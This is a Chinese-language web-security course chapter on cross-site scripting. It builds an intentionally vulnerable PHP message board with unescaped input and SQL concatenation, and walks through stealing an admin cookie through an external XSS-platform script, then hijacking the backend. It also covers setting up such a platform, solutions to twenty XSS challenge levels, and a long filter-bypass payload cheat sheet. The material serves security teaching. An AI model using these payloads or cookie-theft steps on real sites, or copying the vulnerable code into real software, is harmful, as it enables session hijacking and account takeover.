959 lines
31 KiB
Markdown
959 lines
31 KiB
Markdown
# 05.XSS
|
||
|
||
XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。
|
||
|
||
## 1. XSS初体验
|
||
|
||
我们写一个留言板的网站
|
||
|
||
### 1.1 创建数据库
|
||
|
||
```sql
|
||
mysql> create database message;
|
||
Query OK, 1 row affected (0.00 sec)
|
||
|
||
mysql> use message
|
||
Database changed
|
||
```
|
||
|
||
### 1.2 创建留言板的表
|
||
|
||
```sql
|
||
mysql> create table board(date varchar(200),content varchar(200))DEFAULT CHAR set utf8;
|
||
Query OK, 0 rows affected (0.01 sec)
|
||
```
|
||
|
||
### 1.3 网页源码
|
||
|
||
```php
|
||
<!DOCTYPE HTML>
|
||
<?php
|
||
//留言处理
|
||
if(isset($_POST['message']))
|
||
$getMessage = $_POST['message'];
|
||
else {
|
||
$getMessage = "";
|
||
}
|
||
//全局配置
|
||
date_default_timezone_set('Asia/Shanghai');
|
||
$date = date("Y-m-d H:i:s");
|
||
//数据库配置
|
||
$dbhost = 'localhost'; // mysql服务器主机地址
|
||
$dbuser = 'root'; // mysql用户名
|
||
$dbpass = 'usbw'; // mysql用户名密码
|
||
$dbname = 'message';
|
||
$conn = mysqli_connect($dbhost, $dbuser, $dbpass) or exit('数据库连接失败');
|
||
mysqli_query($conn, 'set names utf8');
|
||
|
||
mysqli_select_db($conn,$dbname);
|
||
if($getMessage != ""){
|
||
$sql = "insert into board(date, content) values('$date','$getMessage')";
|
||
$retval = mysqli_query( $conn, $sql );
|
||
}
|
||
?>
|
||
<html>
|
||
<head>
|
||
<meta charset="utf-8" />
|
||
<title>留言板</title>
|
||
</head>
|
||
<body>
|
||
<h1>英格科技留言板</h1>
|
||
<table border=1 width = 100%>
|
||
<tr>
|
||
<td>日期</td>
|
||
<td>内容</td>
|
||
</tr>
|
||
<?php
|
||
// 获取任务
|
||
$sql = "select * from board ";
|
||
$retval = mysqli_query( $conn, $sql );
|
||
if(! $retval )
|
||
{
|
||
die('无法读取数据: ' . mysqli_error($conn));
|
||
}
|
||
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
|
||
{
|
||
echo "<tr><td> {$row['date']}</td> ".
|
||
"<td>{$row['content']} </td> ".
|
||
"</tr>";
|
||
}
|
||
?>
|
||
|
||
</table>
|
||
<form action="index.php" method="post">
|
||
内容:
|
||
<textarea id="message" name="message"></textarea>
|
||
<br />
|
||
<input type="submit" value="提交"></input>
|
||
</form>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
### 1.4 测试功能
|
||
|
||

|
||
|
||
## 2. XSS原理
|
||
|
||
在打开的留言板网页中按下F12,我们可以看到网页的前端源码
|
||

|
||
我们可以看到这部分的代码为
|
||
|
||
```html
|
||
<td>hello world </td>
|
||
```
|
||
|
||
其中hello world部分为我们自己提交的内容,如果我们提交的内容为`</td><script>alert("hello world")</script><td>`,那么最终的代码就变成
|
||
|
||
```html
|
||
<td></td> <script>alert("hello world")</script> <td></td>
|
||
```
|
||
|
||
由此可以看出,我们提交的`<script>`标签中的代码逃逸到了整个网页的代码中,而不仅仅只是一个字符串了
|
||
当我们提交之后,就可以发现浏览器竟然执行了我们的弹窗请求,将`hello world`以弹窗的形式显示出来
|
||

|
||
点击确定,再次查看网页源代码,可以看到我们的代码确实已经跑到表格之外
|
||

|
||
我们先清空留言板数据库
|
||
|
||
```sql
|
||
mysql> truncate table board;
|
||
Query OK, 0 rows affected (0.01 sec)
|
||
```
|
||
|
||
浏览器的容器能力比较强,我们根本不需要去闭合前后的标签,浏览器只要看到`<xxx>`这样的标签,就会自动认为这个是代码的一部分,而不是显示的字符串,在留言板中插入如下代码一样能触发`xss`
|
||
|
||
```html
|
||
<script>alert("hello world")</script>
|
||
```
|
||
|
||

|
||

|
||
|
||
## 3. XSS种类
|
||
|
||
### 3.1 存储型xss
|
||
|
||
存储型xss是将用户提交的xss代码保存到数据库上,当有人访问页面的时候,服务器把数据库里面的xss代码查询出来,插入网页中交给用户,而用户的浏览器会执行其中的代码
|
||

|
||

|
||
存储型xss是持久存储的,每次访问都会被触发
|
||
|
||
### 3.2 DOM型xss
|
||
|
||
DOM树
|
||

|
||
通过JavaScript,可以重构HTML文档,比如我们可以让图片在加载错误的时候,执行我们指定的js脚本,相当于图片的标签就是js的标签
|
||
在留言板中提交如下内容,意思是当图片无法加载的时候,就执行后面的代码
|
||
|
||
```html
|
||
<img src="xxx" onerror=alert("xss")>
|
||
```
|
||
|
||
可以看到图片裂开了,然后就触发了js代码
|
||

|
||
|
||
### 3.3 反射型xss
|
||
|
||
反射型XSS效果与存储型XSS和DOM型XSS差不多,唯一的差别是反射型XSS直接把GET中的参数显示在网页上,没有经过数据库,而存储型XSS是先存储到服务器上,再回显到网页的。
|
||

|
||
|
||
#### 3.3.1 写一个搜索功能
|
||
|
||
在上面的留言板后面加上一个搜索功能
|
||
|
||
```php
|
||
<!-- 搜索功能 -->
|
||
<?php
|
||
$dbhost = 'localhost'; // mysql服务器主机地址
|
||
$dbuser = 'root'; // mysql用户名
|
||
$dbpass = 'usbw'; // mysql用户名密码
|
||
$dbname = 'message';
|
||
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
|
||
if (isset($_GET['search']))
|
||
$getSearch = $_GET['search'];
|
||
else {
|
||
$getSearch = "";
|
||
}
|
||
?>
|
||
<h1>"<?php echo $getSearch;?>"搜索结果</h1>
|
||
<table border=1 width=100%>
|
||
<tr>
|
||
<td>日期</td>
|
||
<td>内容</td>
|
||
</tr>
|
||
<?php
|
||
// 获取任务
|
||
$sql = "select * from board where content like '%$getSearch%'";
|
||
$retval1 = mysqli_query($conn, $sql);
|
||
if (!$retval1) {
|
||
die('无法读取数据: ' . mysqli_error($conn));
|
||
}
|
||
while ($row = mysqli_fetch_array($retval1, MYSQLI_ASSOC)) {
|
||
echo "<tr><td> {$row['date']}</td> " .
|
||
"<td>{$row['content']} </td> " .
|
||
"</tr>";
|
||
}
|
||
?>
|
||
<?php
|
||
mysqli_close($conn);
|
||
?>
|
||
</table>
|
||
<form action="index.php" method="get">
|
||
搜索:
|
||
<textarea id="search" name="search"></textarea>
|
||
<br />
|
||
<input type="submit" value="搜索"></input>
|
||
</form>
|
||
```
|
||
|
||
#### 3.3.2 测试搜索功能
|
||
|
||

|
||
|
||
#### 3.3.3 反射型xss原理
|
||
|
||
在搜索界面按下f12查看源代码
|
||

|
||
这个双引号中的`12`是我们自己输入的,所以可以对代码进行闭合,由于前面讲过浏览器对于js标签会自动识别执行,所以我们只需要搜索如下内容就能触发反射型xss
|
||
|
||
```html
|
||
<script>alert("hello world")</script>
|
||
```
|
||
|
||

|
||

|
||
这个地址栏的地址可以复制给别人点击,这个搜索的内容是不会保存在数据库中
|
||
|
||
```html
|
||
http://localhost:8081/index.php?search=%3Cscript%3Ealert%28%22hello+world%22%29%3C%2Fscript%3E
|
||
```
|
||
|
||
反射型xss需要构造链接,并且让被攻击者自己点击链接,所以需要与社会工程学配合才可以达到最好效果
|
||
|
||
## 4. XSS的危害
|
||
|
||
- 盗取各种用户账号
|
||
- 窃取用户Cookie资料,冒充用户身份进入网站
|
||
- 劫持用户会话,执行任意操作
|
||
- 刷流量,执行弹窗广告
|
||
- 传播蠕虫病毒
|
||
- 攻击者能在一定限度内记录用户的键盘输入
|
||
|
||
### 4.1 cookie
|
||
|
||
Cookie技术通过在请求和响应报文中写入cookie信息来控制客户端的状态
|
||
|
||
- Cookie会根据从服务器端发送的响应报文内的一个叫做Set-Cookie的首部字段信息,通知客户端保存Cookie,客户端下次再向服务器发送请求时,会自动携带cookie信息,一起发送给服务器
|
||
- 服务器发现客户端发送过来的cookie后,会去检查是从哪一个客户端发来的连接请求,然后对比服务器上的记录,最后得到之前的状态信息,这时,就可为客户端继续提供有状态化的服务了。
|
||
|
||
### 4.2 盗取客户端cookie实战
|
||
|
||
一个留言板的网站
|
||

|
||
|
||
#### 4.2.1 XSS平台准备
|
||
|
||
xss平台可以自己搭建,也可以使用别人搭建好的,甚至js学习的不错的,可以不需要xss平台,直接将xss得到的信息发到邮箱
|
||
本次案例使用的是xss平台(此平台搭建方法见下一节)
|
||
|
||
- 在xss平台上创建项目
|
||
|
||

|
||
|
||
- 选择需要的功能模块
|
||
|
||

|
||
|
||
- 获取xss脚本
|
||
|
||

|
||
|
||
```html
|
||
<script src=http://xss.iproute.cn/0Esg1g?1632111988></script>
|
||
```
|
||
|
||
#### 4.2.2 插入xss代码
|
||
|
||
在留言板中进行留言,留言的内容中必须包含xss脚本
|
||

|
||
提交成功之后,我们就可以在留言板界面看到这条留言,可以发现我们夹带在其中的代码已经被执行了
|
||

|
||
在xss平台上,我们也可以看到这个游客身份的cookie已经被获取
|
||

|
||
下面等待管理员上线
|
||
|
||
#### 4.2.3 模拟管理员上线
|
||
|
||
这个网站的后台是
|
||
|
||
```
|
||
https://d20.s.iproute.cn/index.php?c=adminlogin
|
||
```
|
||
|
||

|
||
登录成功后,我们查看到这条留言
|
||

|
||
此时管理员的cookie已经被提交到xss平台上面,我们已经获取到管理员的cookie以及后台的地址
|
||

|
||
|
||
#### 4.2.4 盗用管理员cookie登录后台
|
||
|
||
这边使用cookie修改器,强行修改cookie的内容,然后登录后台
|
||

|
||
修改玩cookie之后,直接发起访问
|
||

|
||
哪怕直接修改管理员密码都是可以的
|
||

|
||
|
||
### 4.3 xss平台搭建
|
||
|
||
windows下就可以搭建xss平台,但是xss平台以后工作中使用都是要有公网环境的,而公网服务器大都是Linux系统,所以此处建议熟悉一下Linux下的搭建过程,不要去随意追求省事。
|
||
|
||
#### 4.3.1 安装nginx
|
||
|
||
```bash
|
||
[root@localhost ~]# vim /etc/yum.repos.d/nginx.repo
|
||
[nginx]
|
||
name=nginx repo
|
||
baseurl=http://nginx.org/packages/centos/7/$basearch/
|
||
gpgcheck=0
|
||
enabled=1
|
||
|
||
[root@localhost ~]# yum -y install nginx
|
||
```
|
||
|
||
#### 4.3.2 修改nginx用户
|
||
|
||
为了方便后面源码文件的权限管理,将nginx和php都设置为www用户
|
||
|
||
```bash
|
||
[root@localhost ~]# groupadd www -g 666
|
||
[root@localhost ~]# useradd www -u 666 -g 666 -s /sbin/nologin -M
|
||
|
||
[root@localhost ~]# sed -i '/^user/c user www;' /etc/nginx/nginx.conf
|
||
```
|
||
|
||
#### 4.3.3 启动nginx并加入开机自启
|
||
|
||
```bash
|
||
# 启动nginx服务
|
||
[root@localhost ~]# systemctl start nginx
|
||
|
||
# 设置nginx开机自启动
|
||
[root@localhost ~]# systemctl enable nginx
|
||
```
|
||
|
||
#### 4.3.4 防火墙配置
|
||
|
||
```bash
|
||
# 关闭防火墙(不推荐)
|
||
[root@localhost ~]# systemctl stop firewalld
|
||
[root@localhost ~]# systemctl disable firewalld
|
||
|
||
# 防火墙放行指定的协议
|
||
[root@localhost ~]# firewall-cmd --add-service=http --permanent
|
||
success
|
||
[root@localhost ~]# firewall-cmd --reload
|
||
success
|
||
```
|
||
|
||
#### 4.3.5 使用第三方扩展源安装php7.1
|
||
|
||
```bash
|
||
[root@localhost ~]# vim /etc/yum.repos.d/php.repo
|
||
[php]
|
||
name = php Repository
|
||
baseurl = http://repo.webtatic.com/yum/el7/x86_64/
|
||
gpgcheck = 0
|
||
|
||
# 安装epel扩展软件仓库
|
||
[root@localhost ~]# yum -y install epel-release
|
||
[root@localhost ~]# yum -y install php71w php71w-cli php71w-common php71w-devel php71w-embedded php71w-gd php71w-mcrypt php71w-mbstring php71w-pdo php71w-xml php71w-fpm php71w-mysqlnd php71w-opcache php71w-pecl-memcached php71w-pecl-redis php71w-pecl-mongodb
|
||
```
|
||
|
||
#### 4.3.6 修改php-fpm用户为www
|
||
|
||
```bash
|
||
[root@localhost ~]# sed -i '/^user/c user = www' /etc/php-fpm.d/www.conf
|
||
[root@localhost ~]# sed -i '/^group/c user = www' /etc/php-fpm.d/www.conf
|
||
```
|
||
|
||
#### 4.3.7 启动php-fpm
|
||
|
||
```bash
|
||
[root@localhost ~]# systemctl start php-fpm
|
||
[root@localhost ~]# systemctl enable php-fpm
|
||
```
|
||
|
||
#### 4.3.8 修改nginx配置文件
|
||
|
||
主要让nginx支持php的fastcgi
|
||
|
||
```bash
|
||
[root@localhost ~]# vim /etc/nginx/conf.d/default.conf
|
||
# 将下面这一行从location中移动到server下
|
||
root /usr/share/nginx/html;
|
||
# 在最后一行的大括号前,加上下面的代码
|
||
location ~ \.php$ {
|
||
fastcgi_pass 127.0.0.1:9000;
|
||
fastcgi_index index.php;
|
||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||
include fastcgi_params;
|
||
}
|
||
|
||
# 重启nginx,让配置生效
|
||
[root@localhost ~]# systemctl restart nginx
|
||
```
|
||
|
||
测试是否能正常运行php
|
||

|
||
|
||
#### 4.3.9 安装mariadb数据库
|
||
|
||
```bash
|
||
[root@localhost ~]# yum install mariadb-server mariadb -y
|
||
[root@localhost ~]# systemctl start mariadb
|
||
[root@localhost ~]# systemctl enable mariadb
|
||
[root@localhost ~]# mysqladmin password '123456'
|
||
[root@localhost ~]# mysql -uroot -p123456
|
||
```
|
||
|
||
#### 4.3.10 创建xssplatform数据库
|
||
|
||
```sql
|
||
MariaDB [(none)]> create database xssplatform;
|
||
Query OK, 1 row affected (0.00 sec)
|
||
|
||
MariaDB [(none)]> show databases;
|
||
+--------------------+
|
||
| Database |
|
||
+--------------------+
|
||
| information_schema |
|
||
| mysql |
|
||
| performance_schema |
|
||
| test |
|
||
| xssplatform |
|
||
+--------------------+
|
||
5 rows in set (0.00 sec)
|
||
```
|
||
|
||
#### 4.3.11 配置rewrite规则
|
||
|
||
```bash
|
||
[root@localhost ~]# vim /etc/nginx/conf.d/default.conf
|
||
# 修改location里面的内容如下
|
||
location / {
|
||
index index.php index.html index.htm;
|
||
rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last;
|
||
rewrite "^/do/auth/(\w+?)(/domain/([\w\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last;
|
||
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last;
|
||
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;
|
||
}
|
||
|
||
# 重启nginx,让配置生效
|
||
[root@localhost ~]# systemctl restart nginx
|
||
```
|
||
|
||
#### 4.3.12 部署xssplatform
|
||
|
||
清空`/usr/share/nginx/html`目录下的所有文件
|
||
上传xssplatform到`/usr/share/nginx/html`目录下
|
||
|
||
```bash
|
||
[root@localhost ~]# cd /usr/share/nginx/html/
|
||
[root@localhost html]# rm -rf *
|
||
[root@localhost html]# unzip xssplatform.zip
|
||
[root@localhost html]# chown -R www.www /usr/share/nginx/html
|
||
[root@localhost html]# setenforce 0
|
||
```
|
||
|
||

|
||

|
||

|
||

|
||

|
||
|
||
## 5. XSS防范
|
||
|
||
### 5.1 替换双引号
|
||
|
||
可以添加对提交语句的过滤,比如如果遇到引号,就用html的特殊字符进行替换
|
||
|
||
| HTML 原代码 | 显示结果 | 描述 |
|
||
| ----------- | -------- | ---------------------- |
|
||
| `<` | < | 小于号或显示标记 |
|
||
| `>` | > | 大于号或显示标记 |
|
||
| `&` | & | 可用于显示其它特殊字符 |
|
||
| `"` | “ | 引号 |
|
||
| `®` | ® | 已注册 |
|
||
| `©` | © | 版权 |
|
||
| `™` | ™ | 商标 |
|
||
| ` ` | | 半个空白位 |
|
||
| ` ` | | 一个空白位 |
|
||
| ` ` | | 不断行的空白 |
|
||
|
||
替换的php代码
|
||
|
||
```php
|
||
$getMessage = str_replace("\"", """,$getMessage);
|
||
```
|
||
|
||
提交正常的带引号的评论进行测试
|
||

|
||
提交xss弹窗语句,发现双引号已经被替换
|
||

|
||
提交不用双引号的xss代码
|
||
|
||
```html
|
||
<script>alert(/hello world/)</script>
|
||
```
|
||
|
||

|
||
|
||
### 5.2 替换script
|
||
|
||
替换script,就可以让代码执行不起来了,再加上一个替换语句
|
||
|
||
```javascript
|
||
$getMessage = str_replace("script", "",$getMessage);
|
||
```
|
||
|
||
再次提交xss代码,发现script代码已经被吞
|
||

|
||
尝试提交下面的代码绕过
|
||
|
||
```html
|
||
<sCRiPt>alert(/hello world/)</ScRIpT>
|
||
```
|
||
|
||
大小写绕过成功
|
||

|
||
假如我们将大小写全部给匹配上,我们依旧可以利用双写法绕过
|
||
|
||
```html
|
||
<scscriptript>alert(/hello world/)</scrscriptipt>
|
||
```
|
||
|
||
不用`<script>`一样能触发xss
|
||
|
||
```html
|
||
<img src="x" onerror=alert(/xss/)>
|
||
```
|
||
|
||
## 6. XSS挑战之旅
|
||
|
||
### 6.1 Level-1
|
||
|
||
在“name=”后面写什么,网页就显示什么。
|
||

|
||
查看源码,发现写入的数据在<>标签的外面,那么name的值直接换成JS:`<script>alert(1)</script>`
|
||

|
||

|
||
|
||
### 6.2 Level-2
|
||
|
||
在搜索框中输入`<script>alert(1)</script>`,发现没有弹窗弹出,查看网页源码,发现<>都被过滤掉了
|
||

|
||

|
||
但value里面没有过滤掉,闭合value的值,`"><script>alert(1)</script>`成功弹出窗口
|
||

|
||
|
||
### 6.3 Level-3
|
||
|
||
在搜索框中输入`<script>alert(1)</script>`,发现没有弹窗弹出,查看网页源码,发现<>都被转义了
|
||

|
||

|
||
将`<script>alert(1)</script>`进行编码后尝试
|
||

|
||
发现还是被转译了
|
||

|
||
由于<>都被转义了过滤了,可以利用input标签的其他属性进行窗口弹出
|
||
`' onfocus=javascript:alert(1) '`
|
||

|
||
在源码里直接修改input标签里的内容,也能实现窗口弹出,这种方法对有input标签的题目都有用。
|
||
这种方法在CTF中可以用到,实际的利用会比较困难。
|
||

|
||
|
||
### 6.4 Level-4
|
||
|
||
在搜索框中输入`<script>alert(1)</script>`,查看网页源码,发现<>被转义和过滤掉了。和Level-3一样,可以利用input标签的其他属性进行窗口弹出,
|
||
`" onfocus=javascript:alert(1) "`
|
||

|
||
|
||
### 6.5 Level-5
|
||
|
||
在搜索框中输入`<script>alert(1)</script>`,查看源码,发现script被转义成scr_ipt,on被转义成o_n,但javascript没有被转义。
|
||

|
||
输入`"><a href=javascript:alert(1)>点我啊</a>`
|
||

|
||
|
||
### 6.6 Level-6
|
||
|
||
在搜索框中输入`<script>alert(1)</script>`等代码。发现转义了script、on、href、src等关键词。
|
||

|
||

|
||

|
||
尝试大小写绕过:`" ><sCRipt>alert(1)</script>`
|
||

|
||
当然使用万能的修改Input源码也是可以触发的
|
||
|
||
### 6.7 Level-7
|
||
|
||
发现过滤了很多关键词:
|
||
|
||
```
|
||
<script> 变成了 <>
|
||
<a href> 变成了 <a>
|
||
<img src> 变成了 <img>
|
||
onerror 变成了error
|
||
javacript:变成了java:
|
||
```
|
||
|
||

|
||
尝试双写script绕过
|
||
`" ><sCRsCRiptipt>alert(1)</scrscriptipt>`
|
||

|
||
|
||
### 6.8 Level-8
|
||
|
||
输入`<script>alert(1)</script>`,发现输入的内容在a标签的href内。
|
||

|
||
在网址后面加:javascript:alert(1),变成javascr_ipt:alert(1),大小写绕过没用
|
||

|
||
利用属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()的特性,成功绕过
|
||
前面在SQL注入绕过阶段就讲过空字符绕过,回顾一下
|
||
|
||
| 编码 | 空格字符 |
|
||
| ---- | ----------------- |
|
||
| %09 | TAB键(水平制表符) |
|
||
| %0a | 新的一行 |
|
||
| %0c | 新的一页 |
|
||
| %0d | return功能 |
|
||
| %0b | TAB键(垂直制表符) |
|
||
| %a0 | 空格 |
|
||
|
||

|
||
|
||
### 6.9 Level-9
|
||
|
||
输入javascript:alert(1)查看源码显示“链接不合法”,尝试输入正常的链接:http://127.0.0.1显示正常
|
||

|
||

|
||
疑似检测字符串是否存在http://,所以写一个不是网址的字符串
|
||
`hellohttp://world`
|
||

|
||
输入`javas%0acript:alert(1) <!-- http:// -->`
|
||
或者`javas%0acript:alert(1) // http:// `
|
||

|
||
|
||
### 6.10 Level-10
|
||
|
||
使用万能的input方法...当然不建议,只是带大家回顾一下(*╯3╰)
|
||

|
||
观察源码,发现有个form表单,然后默认是GET提交的方式,里面有三个被隐藏的input,我们尝试一个个的手动提交这些变量名,结果发现t_sort会被携带在value中
|
||

|
||
提交一下t_sort的值
|
||

|
||
发现出现在value中了
|
||

|
||
构建攻击内容
|
||
`?t_sort=1" onfocus=alert(1) type=“text”`
|
||

|
||
查看一下提交之后的源码
|
||

|
||
|
||
### 6.11 Level-11
|
||
|
||
提交`?t_sort=1" onfocus=alert(1) type=“text”`发现已经讲特殊符号实体化,在前端源码中发现了新线索就是这个t_ref,疑似referer
|
||

|
||
尝试使用修改请求中的referer,然后发现填写的内容出现在了value中
|
||

|
||

|
||
构造攻击语句
|
||
`?t_sort=1" onfocus=alert(1) type=“text”`
|
||

|
||
|
||
### 6.12 Level-12
|
||
|
||
打开源码,发现ua,那就和Level-11的方式一样了
|
||

|
||

|
||
|
||
### 6.13 Level-13
|
||
|
||
与11和12一样
|
||

|
||
查询到cookie的名称为user
|
||

|
||
提交攻击语句
|
||

|
||
|
||
### 6.14 Level-14
|
||
|
||
原版第14关是无法正常工作的,这边英格已经将代码补齐了,这关是考察图片的exif信息会导致xss
|
||
可以看到会显示照片的作者在网页上
|
||

|
||
找张图片修改作者的信息
|
||

|
||
将图片传上去,就可以触发xss
|
||

|
||
|
||
### 6.15 Level-15
|
||
|
||
这关考察的是AngularJS的ng-include指令,可以在源码中看到引入了angularjs,并且页面中存在ng-include
|
||
关于ng-include的指令可以参考[https://www.runoob.com/angularjs/ng-ng-include.html](https://www.runoob.com/angularjs/ng-ng-include.html)
|
||

|
||
我们引入第一关的页面
|
||

|
||
利用第一关的xss
|
||

|
||
|
||
### 6.16 Level-16
|
||
|
||
先试试`<script>alert(1)</script>`,发现script被替换为 
|
||

|
||
不使用script,换成`<img src=1 onerror=alert(1)>`,发现空格被替换
|
||

|
||
使用%0a替代空格
|
||
`<img%0asrc=1%0aonerror=alert(1)>`
|
||

|
||
|
||
### 6.17 Level-17
|
||
|
||
尝试修改一下变量值,可以看到会被填到src部分,并且src没有引号,不需要闭合
|
||

|
||
传入`<script>alert(1)</script>`进行测试,不能使用`<`或者`>`符号
|
||

|
||
传入`onclick=alert(1)`进行测试,发现前面没有空格隔开不行
|
||

|
||
传入`%20onclick=alert(1)`,进行测试,但是无法点击触发
|
||

|
||
修改为`%20onmouseover=alert(1)`,鼠标滑过成功触发
|
||

|
||
|
||
### 6.18 Level-18
|
||
|
||
和17关一样
|
||
`%20onmouseover=alert(1)`
|
||

|
||
|
||
### 6.19 Level-19
|
||
|
||
flash漏洞,鉴于现在flash已经全面淘汰,此漏洞没有研究价值
|
||
下图是payload,但是浏览器已经无法加载flash了,所以没有触发,如果以后遇到有flash的页面的话,可以尝试去找找flash的通用漏洞。
|
||

|
||
|
||
### 6.20 Level-20
|
||
|
||
同Level-19,漏洞已过时
|
||
|
||
## 7. XSS绕过
|
||
|
||
### 7.1 a标签
|
||
|
||
```html
|
||
#javascript协议
|
||
<a href=javascript:alert(1)>点我啊</a>
|
||
|
||
# data协议
|
||
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>点我</a>
|
||
|
||
# url编码的data协议
|
||
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
|
||
|
||
# 另两种方式实现
|
||
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
|
||
<math><a xlink:href=javascript:alert(1)>点我</math>
|
||
```
|
||
|
||
### 7.2 script标签
|
||
|
||
```html
|
||
# 直接弹窗
|
||
<script>alert(1)</script>
|
||
<script>confirm(1)</script>
|
||
<script>pormpt(1)</script>
|
||
|
||
# javascript协议编码
|
||
<script>alert(String.fromCharCode(49))</script>
|
||
|
||
# 如果输出是在setTimeout里,我们依然可以直接执行alert(1)
|
||
<script>setTimeout('alert(1)',0)</script>
|
||
```
|
||
|
||
### 7.3 button标签
|
||
|
||
```html
|
||
# 点击弹窗
|
||
<button/onclick=alert(1) >点我</button>
|
||
|
||
# 不需要点击就能弹窗
|
||
<button onfocus=alert(1) autofocus>
|
||
```
|
||
|
||
### 7.4 p标签
|
||
|
||
```html
|
||
# 可以直接使用事件触发
|
||
<p/onmouseover=alert(1)>点我</p>
|
||
```
|
||
|
||
### 7.5 img标签
|
||
|
||
```html
|
||
# 可以使用事件触发
|
||
<img src=x onerror=alert(1)>
|
||
```
|
||
|
||
### 7.6 body标签
|
||
|
||
```html
|
||
# 事件触发
|
||
<body onload=alert(1)>
|
||
|
||
# onscroll 事件在元素滚动条在滚动时触发,即页面存在很多内容,需要滚动才能看到下面的内容,就会触发
|
||
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
|
||
```
|
||
|
||
### 7.7 var标签
|
||
|
||
```html
|
||
# 事件触发,一般是用不需交互的事件比如鼠标移动等
|
||
<var onmousemove=alert(1)>M</var>
|
||
```
|
||
|
||
### 7.8 div标签
|
||
|
||
```html
|
||
# 事件触发
|
||
<div/onclick='alert(1)'>X</div>
|
||
```
|
||
|
||
### 7.9 input标签
|
||
|
||
```html
|
||
和button一样通过autofocus可以达到无需交互即可弹窗的效果。
|
||
<input onfocus=javascript:alert(1) autofocus>
|
||
<input onblur=javascript:alert(1) autofocus><input autofocus>
|
||
```
|
||
|
||
### 7.10 select标签
|
||
|
||
```html
|
||
<select onfocus=javascript:alert(1) autofocus>
|
||
```
|
||
|
||
### 7.11 textarea标签
|
||
|
||
```html
|
||
<textarea onfocus=javascript:alert(1) autofocus>
|
||
```
|
||
|
||
### 7.12 keygen标签
|
||
|
||
```html
|
||
<keygen onfocus=javascript:alert(1) autofocus>
|
||
```
|
||
|
||
### 7.13 frameset标签
|
||
|
||
```html
|
||
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
|
||
```
|
||
|
||
### 7.14 svg标签
|
||
|
||
```html
|
||
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
|
||
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
|
||
```
|
||
|
||
### 7.15 math标签
|
||
|
||
```html
|
||
<math href="javascript:javascript:alert(1)">CLICKME</math>
|
||
<math><y/xlink:href=javascript:alert(51)>test1
|
||
```
|
||
|
||
### 7.16 video标签
|
||
|
||
```html
|
||
<video><source onerror="alert(1)">
|
||
<video src=x onerror=alert(48)>
|
||
```
|
||
|
||
### 7.17 audio标签
|
||
|
||
```html
|
||
<audio src=x onerror=alert(47)>
|
||
```
|
||
|
||
### 7.18 embed标签
|
||
|
||
```html
|
||
<embed src=javascript:alert(1)>
|
||
```
|
||
|
||
### 7.19 meta标签
|
||
|
||
```html
|
||
测试发现,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv=”refresh”,就可以构造一个有效地xss payload。还有一个思路,就是通过给http-equiv设置set-cookie,进一步重新设置cookie来达成一些目的。
|
||
<meta http-equiv="refresh" content="0;javascript:alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
|
||
```
|
||
|
||
### 7.20 marquee标签
|
||
|
||
```html
|
||
<marquee onstart="alert('1')"></marquee>
|
||
```
|
||
|
||
### 7.21 isindex标签
|
||
|
||
```html
|
||
<isindex type=image src=1 onerror=alert(1)>
|
||
<isindex action=javascript:alert(1) type=image>
|
||
```
|
||
|
||
当过滤掉javascript,alert等常见关键词,单引号,双引号,分号时,可以尝试使用以上不同的标签插入,达到弹出窗口的目的。
|
||
|
||
### 7.22 大小写绕过
|
||
|
||
`<sCript>`
|
||
|
||
### 7.23 alert被过滤
|
||
|
||
可以尝试prompt和confirm
|
||
|
||
### 7.24 空格被过滤
|
||
|
||
`<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>`
|
||
|
||
### 7.25 长度限制
|
||
|
||
```html
|
||
<q/oncut=alert(1)>//在限制长度的地方很有效
|
||
```
|
||
|
||
### 7.26 括号被过滤
|
||
|
||
可以使用throw来抛出数据
|
||
|
||
```html
|
||
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
|
||
<img src=x onerror="javascript:window.onerror=alert;throw 1">
|
||
```
|
||
|
||
### 7.27 过滤某些关键字
|
||
|
||
如:javascript, 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert(),其中%0a表示换行。
|
||
|
||
### 7.28 编码绕过
|
||
|
||
十六进制编码、jsfuck编码、url编码、unicode编码
|
||
|
||
```html
|
||
<0x736372697074>alert('123')</0x736372697074>
|
||
<img src="1" onerror="alert(1)">
|
||
``` |